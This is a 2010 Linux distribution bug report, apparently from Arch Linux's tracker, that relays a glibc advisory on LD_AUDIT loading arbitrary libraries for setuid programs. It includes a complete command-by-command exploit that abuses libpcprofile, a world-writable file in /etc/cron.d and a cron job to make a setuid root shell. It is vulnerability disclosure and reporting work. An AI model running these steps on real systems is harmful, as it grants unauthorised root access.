FS#21460 - The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads
Attached to Project:
Community Packages
Opened by OvsInc (OvsInc) - Monday, 25 October 2010, 06:46 GMT
Last edited by Allan McRae (Allan) - Monday, 25 October 2010, 07:19 GMT
Opened by OvsInc (OvsInc) - Monday, 25 October 2010, 06:46 GMT
Last edited by Allan McRae (Allan) - Monday, 25 October 2010, 07:19 GMT
|
Details
Description:
Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background information. For obvious reasons, the dynamic linker will ignore requests to preload user specified libraries for setuid/setgid programs. However, it is possible to imagine legitimate use cases for this functionality, so the glibc developers provide an exception to this rule. LD_PRELOAD A whitespace-separated list of additional, user-specified, ELF shared libraries to be loaded before all others. This can be used to selectively override functions in other shared libraries. For set-user-ID/set-group-ID ELF binaries, only libraries in the standard search directories that are also set- user-ID will be loaded. In order to be preloaded during the execution of a privileged program, a library must be setuid and in the trusted library search path. This is a reasonable design, before a library will be loaded, the system administrator must brand a library as safe to load across privilege boundaries. This feature allows developers who design their programs to operate safely while running as setuid to opt-in to doing so. Bizarrely, the same conditions do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of whether it has been designed to operate safely or not. While the dynamic loader will only use a library that exports the dynamic symbols required by the rtld-auditing API, it must first dlopen() the library in order to examine the exported symbols. By definition, this must execute any defined initialization routines. This confusion can be exploited by locating a DSO in the trusted search path with initialization code that has not been designed to operate safely while euid != uid. See the Notes section below for additional discussion on this topic. Steps to reproduce: This is a low impact issue that is only of interest to security professionals and system administrators, end users do not need to be concerned. It is possible to exploit this confusion to execute arbitrary code as root. The exact steps required to exploit this vulnerability will vary from distribution to distribution, but an example from Ubuntu 10.04 is given below. # The creation mask is inherited by children, and survives even a setuid # execve. Therefore, we can influence how files are created during # exploitation. $ umask 0 # libpcprofile is distributed with the libc package. $ pacman -Qo /lib/libpcprofile.so /lib/libpcprofile.so is owned by glibc 2.12.1-2 $ ls -l /lib/libpcprofile.so -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so # We identified one of the pcprofile constructors is unsafe to run with # elevated privileges, as it creates the file specified in the output # environment variable. $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored. Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline] [-p pattern] [-s packetsize] [-t ttl] [-I interface or address] [-M mtu discovery hint] [-S sndbuf] [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination # This results in creating a world writable file in the crontab directory. $ ls -l /etc/cron.d/exploit -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit # Setup a cronjob to give us privileges (of course, there are dozens of other # ways this could be exploited). $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit # Wait a few minutes... $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit ls: cannot access /tmp/exploit: No such file or directory $ ls -l /tmp/exploit -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit # A setuid root shell appears. $ /tmp/exploit # whoami root Original link: http://www.openwall.com/lists/announce/2010/10/22/1 |
This task depends upon
Closed by Allan McRae (Allan)
Monday, 25 October 2010, 07:19 GMT
Reason for closing: Duplicate
Additional comments about closing: FS#21435
Monday, 25 October 2010, 07:19 GMT
Reason for closing: Duplicate
Additional comments about closing:
Comment by Allan McRae (Allan) -
Monday, 25 October 2010, 07:19 GMT
You do realise that the link you gave at the top is for a
completely different bug than what you then describe and provide a
working exploit for...